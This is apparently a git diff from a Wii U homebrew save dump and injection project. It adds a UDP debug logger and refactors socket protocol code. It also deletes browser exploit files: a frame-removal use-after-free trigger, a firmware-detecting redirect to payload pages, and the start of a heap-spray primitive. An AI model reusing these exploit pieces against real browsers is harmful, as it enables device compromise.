||||
}
|
||||
#endif
|
||||
|
||||
#endif // __MEMORY_H_
|
89
src/utils/logger.c
Normal file
89
src/utils/logger.c
Normal file
@ -0,0 +1,89 @@
|
||||
#include <stdarg.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdio.h>
|
||||
#include <string.h>
|
||||
#include <errno.h>
|
||||
#include "common/common.h"
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "dynamic_libs/socket_functions.h"
|
||||
#include "logger.h"
|
||||
|
||||
#ifdef DEBUG_LOGGER
|
||||
static int log_socket = -1;
|
||||
static volatile int log_lock = 0;
|
||||
|
||||
|
||||
void log_init(const char * ipString)
|
||||
{
|
||||
log_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
|
||||
if (log_socket < 0)
|
||||
return;
|
||||
|
||||
struct sockaddr_in connect_addr;
|
||||
memset(&connect_addr, 0, sizeof(connect_addr));
|
||||
connect_addr.sin_family = AF_INET;
|
||||
connect_addr.sin_port = 4405;
|
||||
inet_aton(ipString, &connect_addr.sin_addr);
|
||||
|
||||
if(connect(log_socket, (struct sockaddr*)&connect_addr, sizeof(connect_addr)) < 0)
|
||||
{
|
||||
socketclose(log_socket);
|
||||
log_socket = -1;
|
||||
}
|
||||
}
|
||||
|
||||
void log_deinit(void)
|
||||
{
|
||||
if(log_socket >= 0)
|
||||
{
|
||||
socketclose(log_socket);
|
||||
log_socket = -1;
|
||||
}
|
||||
}
|
||||
|
||||
void log_print(const char *str)
|
||||
{
|
||||
// socket is always 0 initially as it is in the BSS
|
||||
if(log_socket < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
while(log_lock)
|
||||
usleep(1000);
|
||||
log_lock = 1;
|
||||
|
||||
int len = strlen(str);
|
||||
int ret;
|
||||
while (len > 0) {
|
||||
int block = len < 1400 ? len : 1400; // take max 1400 bytes per UDP packet
|
||||
ret = send(log_socket, str, block, 0);
|
||||
if(ret < 0)
|
||||
break;
|
||||
|
||||
len -= ret;
|
||||
str += ret;
|
||||
}
|
||||
|
||||
log_lock = 0;
|
||||
}
|
||||
|
||||
void log_printf(const char *format, ...)
|
||||
{
|
||||
if(log_socket < 0) {
|
||||
return;
|
||||
}
|
||||
|
||||
char * tmp = NULL;
|
||||
|
||||
va_list va;
|
||||
va_start(va, format);
|
||||
if((vasprintf(&tmp, format, va) >= 0) && tmp)
|
||||
{
|
||||
log_print(tmp);
|
||||
}
|
||||
va_end(va);
|
||||
|
||||
if(tmp)
|
||||
free(tmp);
|
||||
}
|
||||
#endif
|
26
src/utils/logger.h
Normal file
26
src/utils/logger.h
Normal file
@ -0,0 +1,26 @@
|
||||
#ifndef __LOGGER_H_
|
||||
#define __LOGGER_H_
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
//#define DEBUG_LOGGER 1
|
||||
|
||||
#ifdef DEBUG_LOGGER
|
||||
void log_init(const char * ip);
|
||||
void log_deinit(void);
|
||||
void log_print(const char *str);
|
||||
void log_printf(const char *format, ...);
|
||||
#else
|
||||
#define log_init(x)
|
||||
#define log_deinit()
|
||||
#define log_print(x)
|
||||
#define log_printf(x, ...)
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif
|
@ -1,19 +1,15 @@
|
||||
#include "main.h"
|
||||
#include <string.h>
|
||||
#include <malloc.h>
|
||||
#include "common/common.h"
|
||||
#include "dynamic_libs/os_functions.h"
|
||||
#include "dynamic_libs/socket_functions.h"
|
||||
#include "net.h"
|
||||
|
||||
static int recvwait(int sock, void *buffer, int len);
|
||||
static int recvwaitlen(int sock, void *buffer, int len);
|
||||
|
||||
static int recvbyte(int sock);
|
||||
static int sendwait(int sock, const void *buffer, int len);
|
||||
static int sendbyte(int sock, unsigned char value);
|
||||
static int cafiine_handshake(int sock);
|
||||
static volatile int iLock = 0;
|
||||
|
||||
#define CHECK_ERROR(cond) if (cond) { goto error; }
|
||||
|
||||
|
||||
|
||||
void cafiine_connect(int *psock) {
|
||||
extern unsigned int server_ip;
|
||||
void cafiine_connect(int *psock,u32 server_ip) {
|
||||
struct sockaddr_in addr;
|
||||
int sock, ret;
|
||||
|
||||
@ -48,10 +44,12 @@ error:
|
||||
return;
|
||||
}
|
||||
|
||||
static int cafiine_handshake(int sock) {
|
||||
int cafiine_handshake(int sock) {
|
||||
int ret;
|
||||
|
||||
unsigned char buffer[16];
|
||||
|
||||
u64 title_id = OSGetTitleID();
|
||||
memcpy(buffer, &title_id, 16);
|
||||
|
||||
ret = sendwait(sock, buffer, sizeof(buffer));
|
||||
@ -65,11 +63,12 @@ error:
|
||||
|
||||
int getMode(int sock,int * result)
|
||||
{
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
int ret = 0;
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
|
||||
// create and send buffer with : [cmd id][fd][size][buffer data ...]
|
||||
{
|
||||
ret = sendbyte(sock, BYTE_G_MODE);
|
||||
@ -82,14 +81,14 @@ int getMode(int sock,int * result)
|
||||
ret = 1;
|
||||
}
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return ret;
|
||||
}
|
||||
|
||||
|
||||
int cafiine_fsetpos(int sock, int *result, int fd, int set) {
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
@ -106,18 +105,19 @@ int cafiine_fsetpos(int sock, int *result, int fd, int set) {
|
||||
ret = recvwait(sock, result, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return 0;
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int cafiine_send_handle(int sock, int client, const char *path, int handle)
|
||||
int cafiine_send_handle(int sock, const char *path, int handle)
|
||||
{
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
// create and send buffer with : [cmd id][handle][path length][path data ...]
|
||||
@ -150,17 +150,20 @@ int cafiine_send_handle(int sock, int client, const char *path, int handle)
|
||||
int special_ret = recvbyte(sock);
|
||||
CHECK_ERROR(special_ret < 0);
|
||||
CHECK_ERROR(special_ret != BYTE_SPECIAL);
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return ret;
|
||||
}
|
||||
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int cafiine_fopen(int sock, int *result, const char *path, const char *mode, int *handle) {
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int final_result = -1;
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
@ -183,7 +186,7 @@ int cafiine_fopen(int sock, int *result, const char *path, const char *mode, int
|
||||
|
||||
ret = sendwait(sock, buffer, 1 + 8 + len_path + len_mode);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret == BYTE_NORMAL);
|
||||
@ -192,23 +195,24 @@ int cafiine_fopen(int sock, int *result, const char *path, const char *mode, int
|
||||
CHECK_ERROR(ret < 0);
|
||||
ret = recvwait(sock, handle, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
}
|
||||
}
|
||||
final_result = 0;
|
||||
|
||||
|
||||
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return final_result;
|
||||
}
|
||||
|
||||
void cafiine_send_file(int sock, char *file, int size, int fd) {
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
int ret;
|
||||
|
||||
|
||||
// create and send buffer with : [cmd id][fd][size][buffer data ...]
|
||||
{
|
||||
char buffer[1 + 4 + 4 + size];
|
||||
@ -228,43 +232,45 @@ void cafiine_send_file(int sock, char *file, int size, int fd) {
|
||||
}
|
||||
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
int cafiine_fread(int sock, int *result, void *ptr, int size, int fd) {
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
int ret;
|
||||
char buffer[1 + 8];
|
||||
buffer[0] = BYTE_READ;
|
||||
*(int *)(buffer + 1) = size;
|
||||
*(int *)(buffer + 1) = size;
|
||||
*(int *)(buffer + 5) = fd;
|
||||
ret = sendwait(sock, buffer, 1 + 8);
|
||||
CHECK_ERROR(ret < 0);
|
||||
ret = recvbyte(sock);
|
||||
ret = sendwait(sock, buffer, 1 + 8);
|
||||
CHECK_ERROR(ret < 0);
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret == BYTE_NORMAL);
|
||||
int sz;
|
||||
ret = recvwait(sock, &sz, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
ret = recvwaitlen(sock, ptr, sz);
|
||||
*result = sz - ret;
|
||||
*result = sz - ret;
|
||||
ret = sendbyte(sock, BYTE_OK);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
bss.lock = 0;
|
||||
|
||||
iLock = 0;
|
||||
return 0;
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
|
||||
int cafiine_fclose(int sock, int *result, int fd,int dumpclose) {
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
CHECK_ERROR(sock == -1);
|
||||
|
||||
@ -275,157 +281,167 @@ int cafiine_fclose(int sock, int *result, int fd,int dumpclose) {
|
||||
*(int *)(buffer + 1) = fd;
|
||||
ret = sendwait(sock, buffer, 1 + 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
ret = recvbyte(sock);
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret == BYTE_NORMAL);
|
||||
ret = recvwait(sock, result, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return 0;
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return -1;
|
||||
}
|
||||
|
||||
int saviine_start_injection(int sock, long persistentID,int * mask){
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int result = 0;
|
||||
CHECK_ERROR(sock == -1);
|
||||
CHECK_ERROR(sock == -1);
|
||||
int ret;
|
||||
{
|
||||
char buffer[1+4];
|
||||
|
||||
|
||||
buffer[0] = BYTE_INJECTSTART;
|
||||
*(long *)(buffer + 1) = persistentID;
|
||||
ret = sendwait(sock, buffer, 1 + 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_SPECIAL);
|
||||
|
||||
ret = recvwait(sock, mask, 4);
|
||||
|
||||
ret = recvwait(sock, mask, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR((*mask & MASK_NORMAL) != MASK_NORMAL);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_SPECIAL);
|
||||
result = 1;
|
||||
result = 1;
|
||||
}
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int saviine_end_injection(int sock){
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int result = 0;
|
||||
CHECK_ERROR(sock == -1);
|
||||
CHECK_ERROR(sock == -1);
|
||||
int ret;
|
||||
{
|
||||
ret = sendbyte(sock, BYTE_INJECTEND);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_OK);
|
||||
result = 1;
|
||||
result = 1;
|
||||
}
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int saviine_start_dump(int sock, long persistentID,int * mask){
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int result = 0;
|
||||
CHECK_ERROR(sock == -1);
|
||||
CHECK_ERROR(sock == -1);
|
||||
int ret;
|
||||
{
|
||||
char buffer[1+4];
|
||||
|
||||
|
||||
buffer[0] = BYTE_DUMPSTART;
|
||||
*(long *)(buffer + 1) = persistentID;
|
||||
ret = sendwait(sock, buffer, 1 + 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_SPECIAL);
|
||||
|
||||
ret = recvwait(sock, mask, 4);
|
||||
|
||||
ret = recvwait(sock, mask, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR((*mask & MASK_NORMAL) != MASK_NORMAL);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_SPECIAL);
|
||||
result = 1;
|
||||
result = 1;
|
||||
}
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int saviine_end_dump(int sock){
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int result = 0;
|
||||
CHECK_ERROR(sock == -1);
|
||||
CHECK_ERROR(sock == -1);
|
||||
int ret;
|
||||
{
|
||||
ret = sendbyte(sock, BYTE_DUMPEND);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_OK);
|
||||
result = 1;
|
||||
result = 1;
|
||||
}
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
int saviine_readdir(int sock, char * path,char * resultname, int * resulttype, int * filesize){
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int result = 0;
|
||||
CHECK_ERROR(sock == -1);
|
||||
CHECK_ERROR(sock == -1);
|
||||
int ret;
|
||||
// create and send buffer with : [cmd id][len_path][path][filesize]
|
||||
{
|
||||
int size = 0;
|
||||
while (path[size++]);
|
||||
char buffer[1+4+size];
|
||||
|
||||
|
||||
buffer[0] = BYTE_READ_DIR;
|
||||
*(int *)(buffer + 1) = size;
|
||||
for (ret = 0; ret < size; ret++)
|
||||
buffer[5 + ret] = path[ret];
|
||||
|
||||
|
||||
// send buffer, wait for reply
|
||||
ret = sendwait(sock, buffer, 1+4+size);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
// wait reply
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret != BYTE_OK);
|
||||
|
||||
|
||||
ret = recvbyte(sock);
|
||||
CHECK_ERROR(ret != BYTE_FILE && ret != BYTE_FOLDER);
|
||||
CHECK_ERROR(ret != BYTE_FILE && ret != BYTE_FOLDER);
|
||||
*resulttype = ret;
|
||||
size = 0;
|
||||
ret = recvwait(sock, &size, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
ret = recvwait(sock, resultname, size+1);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
|
||||
ret = recvwait(sock, resultname, size+1);
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
size = 0;
|
||||
ret = recvwait(sock, &size, 4);
|
||||
CHECK_ERROR(ret < 0);
|
||||
@ -434,17 +450,18 @@ int saviine_readdir(int sock, char * path,char * resultname, int * resulttype, i
|
||||
CHECK_ERROR(ret < 0);
|
||||
CHECK_ERROR(ret != BYTE_SPECIAL);
|
||||
result = 1;
|
||||
|
||||
|
||||
}
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return result;
|
||||
}
|
||||
|
||||
void cafiine_send_ping(int sock, int val1, int val2) {
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int ret;
|
||||
char buffer[1 + 4 + 4];
|
||||
buffer[0] = BYTE_PING;
|
||||
@ -455,11 +472,11 @@ void cafiine_send_ping(int sock, int val1, int val2) {
|
||||
CHECK_ERROR(ret < 0);
|
||||
|
||||
error:
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
return;
|
||||
}
|
||||
|
||||
static int recvwait(int sock, void *buffer, int len) {
|
||||
int recvwait(int sock, void *buffer, int len) {
|
||||
int ret;
|
||||
while (len > 0) {
|
||||
ret = recv(sock, buffer, len, 0);
|
||||
@ -471,7 +488,8 @@ static int recvwait(int sock, void *buffer, int len) {
|
||||
error:
|
||||
return ret;
|
||||
}
|
||||
static int recvwaitlen(int sock, void *buffer, int len) {
|
||||
|
||||
int recvwaitlen(int sock, void *buffer, int len) {
|
||||
int ret;
|
||||
while (len > 0) {
|
||||
ret = recv(sock, buffer, len, 0);
|
||||
@ -485,7 +503,7 @@ error:
|
||||
}
|
||||
|
||||
|
||||
static int recvbyte(int sock) {
|
||||
int recvbyte(int sock) {
|
||||
unsigned char buffer[1];
|
||||
int ret;
|
||||
|
||||
@ -494,7 +512,7 @@ static int recvbyte(int sock) {
|
||||
return buffer[0];
|
||||
}
|
||||
|
||||
static int sendwait(int sock, const void *buffer, int len) {
|
||||
int sendwait(int sock, const void *buffer, int len) {
|
||||
int ret;
|
||||
while (len > 0) {
|
||||
ret = send(sock, buffer, len, 0);
|
||||
@ -511,8 +529,9 @@ void log_string(int sock, const char* str, char flag_byte) {
|
||||
if(sock == -1) {
|
||||
return;
|
||||
}
|
||||
while (bss.lock) GX2WaitForVsync();
|
||||
bss.lock = 1;
|
||||
while (iLock)
|
||||
usleep(5000);
|
||||
iLock = 1;
|
||||
|
||||
int i;
|
||||
int len_str = 0;
|
||||
@ -531,11 +550,12 @@ void log_string(int sock, const char* str, char flag_byte) {
|
||||
sendwait(sock, buffer, 1 + 4 + len_str);
|
||||
}
|
||||
|
||||
bss.lock = 0;
|
||||
iLock = 0;
|
||||
}
|
||||
static int sendbyte(int sock, unsigned char byte) {
|
||||
|
||||
int sendbyte(int sock, unsigned char byte) {
|
||||
unsigned char buffer[1];
|
||||
|
||||
buffer[0] = byte;
|
||||
return sendwait(sock, buffer, 1);
|
||||
}
|
||||
}
|
63
src/utils/net.h
Normal file
63
src/utils/net.h
Normal file
@ -0,0 +1,63 @@
|
||||
#ifndef NETWORK_H_
|
||||
#define NETWORK_H_
|
||||
|
||||
|
||||
#define BYTE_NORMAL 0xff
|
||||
#define BYTE_SPECIAL 0xfe
|
||||
#define BYTE_OPEN 0x00
|
||||
#define BYTE_READ 0x01
|
||||
#define BYTE_CLOSE 0x02
|
||||
#define BYTE_OK 0x03
|
||||
#define BYTE_SETPOS 0x04
|
||||
#define BYTE_STATFILE 0x05
|
||||
#define BYTE_EOF 0x06
|
||||
#define BYTE_GETPOS 0x07
|
||||
#define BYTE_REQUEST 0x08
|
||||
#define BYTE_REQUEST_SLOW 0x09
|
||||
#define BYTE_HANDLE 0x0A
|
||||
#define BYTE_DUMP 0x0B
|
||||
#define BYTE_PING 0x0C
|
||||
#define BYTE_G_MODE 0x0D
|
||||
#define BYTE_MODE_D 0x0E
|
||||
#define BYTE_MODE_I 0x0F
|
||||
#define BYTE_CLOSE_DUMP 0x10
|
||||
#define BYTE_LOG_STR 0xfb
|
||||
#define BYTE_FILE 0xC0
|
||||
#define BYTE_FOLDER 0xC1
|
||||
#define BYTE_READ_DIR 0xCC
|
||||
#define BYTE_INJECTSTART 0x40
|
||||
#define BYTE_INJECTEND 0x41
|
||||
#define BYTE_DUMPSTART 0x42
|
||||
#define BYTE_DUMPEND 0x43
|
||||
#define BYTE_END 0xfd
|
||||
|
||||
#define MASK_NORMAL 0x8000
|
||||
#define MASK_USER 0x0100
|
||||
#define MASK_COMMON 0x0200
|
||||
#define MASK_COMMON_CLEAN 0x0400
|
||||
|
||||
void cafiine_connect(int *psock,u32 ip);
|
||||
void cafiine_disconnect(int sock);
|
||||
int cafiine_handshake(int sock);
|
||||
int getMode(int sock,int * result);
|
||||
int cafiine_fsetpos(int sock, int *result, int fd, int set);
|
||||
int cafiine_send_handle(int sock, const char *path, int handle);
|
||||
int cafiine_fopen(int sock, int *result, const char *path, const char *mode, int *handle);
|
||||
void cafiine_send_file(int sock, char *file, int size, int fd);
|
||||
int cafiine_fread(int sock, int *result, void *ptr, int size, int fd);
|
||||
int cafiine_fclose(int sock, int *result, int fd,int dumpclose);
|
||||
int saviine_start_injection(int sock, long persistentID,int * mask);
|
||||
int saviine_end_injection(int sock);
|
||||
int saviine_start_dump(int sock, long persistentID,int * mask);
|
||||
int saviine_end_dump(int sock);
|
||||
int saviine_readdir(int sock, char * path,char * resultname, int * resulttype, int * filesize);
|
||||
void cafiine_send_ping(int sock, int val1, int val2);
|
||||
int recvwait(int sock, void *buffer, int len);
|
||||
int recvwaitlen(int sock, void *buffer, int len);
|
||||
int recvbyte(int sock);
|
||||
int sendwait(int sock, const void *buffer, int len);
|
||||
void log_string(int sock, const char* str, char flag_byte);
|
||||
int sendbyte(int sock, unsigned char byte);
|
||||
|
||||
|
||||
#endif
|
47
src/utils/utils.h
Normal file
47
src/utils/utils.h
Normal file
@ -0,0 +1,47 @@
|
||||
#ifndef __UTILS_H_
|
||||
#define __UTILS_H_
|
||||
|
||||
#include <malloc.h>
|
||||
#include "../common/types.h"
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#define FlushBlock(addr) asm volatile("dcbf %0, %1\n" \
|
||||
"icbi %0, %1\n" \
|
||||
"sync\n" \
|
||||
"eieio\n" \
|
||||
"isync\n" \
|
||||
: \
|
||||
:"r"(0), "r"(((addr) & ~31)) \
|
||||
:"memory", "ctr", "lr", "3", "4", "5", "6", "7", "8", "9", "10", "11", "12" \
|
||||
);
|
||||
|
||||
#define LIMIT(x, min, max) \
|
||||
({ \
|
||||
typeof( x ) _x = x; \
|
||||
typeof( min ) _min = min; \
|
||||
typeof( max ) _max = max; \
|
||||
( ( ( _x ) < ( _min ) ) ? ( _min ) : ( ( _x ) > ( _max ) ) ? ( _max) : ( _x ) ); \
|
||||
})
|
||||
|
||||
#define DegToRad(a) ( (a) * 0.01745329252f )
|
||||
#define RadToDeg(a) ( (a) * 57.29577951f )
|
||||
|
||||
#define ALIGN4(x) (((x) + 3) & ~3)
|
||||
#define ALIGN32(x) (((x) + 31) & ~31)
|
||||
|
||||
// those work only in powers of 2
|
||||
#define ROUNDDOWN(val, align) ((val) & ~(align-1))
|
||||
#define ROUNDUP(val, align) ROUNDDOWN(((val) + (align-1)), align)
|
||||
|
||||
#define le16(i) ((((u16) ((i) & 0xFF)) << 8) | ((u16) (((i) & 0xFF00) >> 8)))
|
||||
#define le32(i) ((((u32)le16((i) & 0xFFFF)) << 16) | ((u32)le16(((i) & 0xFFFF0000) >> 16)))
|
||||
#define le64(i) ((((u64)le32((i) & 0xFFFFFFFFLL)) << 32) | ((u64)le32(((i) & 0xFFFFFFFF00000000LL) >> 32)))
|
||||
|
||||
#ifdef __cplusplus
|
||||
}
|
||||
#endif
|
||||
|
||||
#endif // __UTILS_H_
|
@ -1,25 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
<script>
|
||||
var nb = 0;
|
||||
function handleBeforeLoad() {
|
||||
if (++nb == 1) {
|
||||
p.addEventListener('DOMSubtreeModified', parent.dsm, false);
|
||||
} else if (nb == 2) {
|
||||
p.removeChild(f);
|
||||
}
|
||||
}
|
||||
|
||||
function documentLoaded() {
|
||||
f = window.frameElement;
|
||||
p = f.parentNode;
|
||||
var o = document.createElement("object");
|
||||
o.addEventListener('beforeload', handleBeforeLoad, false);
|
||||
document.body.appendChild(o);
|
||||
}
|
||||
|
||||
window.onload = documentLoaded;
|
||||
</script>
|
||||
</head>
|
||||
<body></body>
|
||||
</html>
|
@ -1,97 +0,0 @@
|
||||
<html>
|
||||
<head>
|
||||
</head>
|
||||
<body>
|
||||
<div id="text"></div>
|
||||
<script type="text/javascript">
|
||||
-->Browser detection code by Relys
|
||||
browserInfo = "<p>Browser CodeName: " + navigator.appCodeName + "</p>";
|
||||
browserInfo+= "<p>Browser Name: " + navigator.appName + "</p>";
|
||||
browserInfo+= "<p>Browser Version: " + navigator.appVersion + "</p>";
|
||||
browserInfo+= "<p>Cookies Enabled: " + navigator.cookieEnabled + "</p>";
|
||||
browserInfo+= "<p>Platform: " + navigator.platform + "</p>";
|
||||
browserInfo+= "<p>User-agent header: " + navigator.userAgent + "</p>";
|
||||
-->Get platform and version number
|
||||
platform = String(navigator.platform);
|
||||
var version = navigator.appVersion;
|
||||
-->Check to see if we're running on a Wii U
|
||||
if(platform == "Nintendo WiiU")
|
||||
{
|
||||
-->If we are then parse out the exact browser version
|
||||
var versionRE = version.match("NX\/(.*) NintendoBrowser\/");
|
||||
-->Ensure we were able to get browser version
|
||||
if(versionRE.length==2)
|
||||
{
|
||||
-->Store the exact browser version to a string
|
||||
versionNumber=versionRE[1];
|
||||
-->See if browser is for Wii U version 5.3.2
|
||||
if(versionNumber == "3.0.3.12.15")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.3.2";
|
||||
window.location = "payload532.html";
|
||||
}
|
||||
-->See if browser is for Wii U version 5.0.0 or 5.1.0
|
||||
else if (versionNumber == "3.0.3.12.12")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 5.0.0 or 5.1.0";
|
||||
window.location = "payload500.html";
|
||||
}
|
||||
-->See if browser is for Wii U version 4.1.0
|
||||
else if (versionNumber == "3.0.3.12.11")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 4.1.0";
|
||||
window.location = "payload410.html";
|
||||
}
|
||||
-->See if browser is for Wii U version 4.0.0
|
||||
else if (versionNumber == "3.0.3.12.6")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 4.0.0";
|
||||
window.location = "payload400.html";
|
||||
}
|
||||
-->See if browser is for Wii U version 3.0.0 or 3.1.0
|
||||
else if (versionNumber == "2.1.0.10.9")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 3.0.0 or 3.1.0";
|
||||
var check = new XMLHttpRequest();
|
||||
check.open('HEAD', "payload310.html", false);
|
||||
check.send();
|
||||
if (check.status != 404)
|
||||
window.location = "payload310.html";
|
||||
else
|
||||
window.location = "payload300.html";
|
||||
}
|
||||
-->See if browser is for Wii U version 2.1.0
|
||||
else if (versionNumber == "2.1.0.8.23")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 2.1.0";
|
||||
window.location = "payload210.html";
|
||||
}
|
||||
-->See if browser is for Wii U version 2.0.0
|
||||
else if (versionNumber == "2.1.0.8.21")
|
||||
{
|
||||
-->Display message and redirect to payload URL
|
||||
document.getElementById("text").innerHTML="Detected Wii U Firmware version 2.0.0";
|
||||
window.location = "payload200.html";
|
||||
}
|
||||
}
|
||||
-->If we couldn't parse the browser version, throw an error message
|
||||
else
|
||||
{
|
||||
document.getElementById("text").innerHTML="Unsupported Wii U Browser: "+browserInfo;
|
||||
}
|
||||
}
|
||||
-->If we couldn't detect the Wii U browser, throw an error message.
|
||||
else
|
||||
{
|
||||
document.getElementById("text").innerHTML="Unsupported Operating System: "+browserInfo;
|
||||
}
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
|
@ -1,649 +0,0 @@
|
||||
<script>
|
||||
// Alloc primitive.
|
||||
function pow2str(p, b) {
|
||||
var str = String.fromCharCode(b);
|
||||
for (; p; p--){
|
||||
str += str;
|
||||
}
|
||||
return str;
|
||||
}
|
||||
|
||||
function alloc(n, b) {
|
||||
var res = '';
|
||||
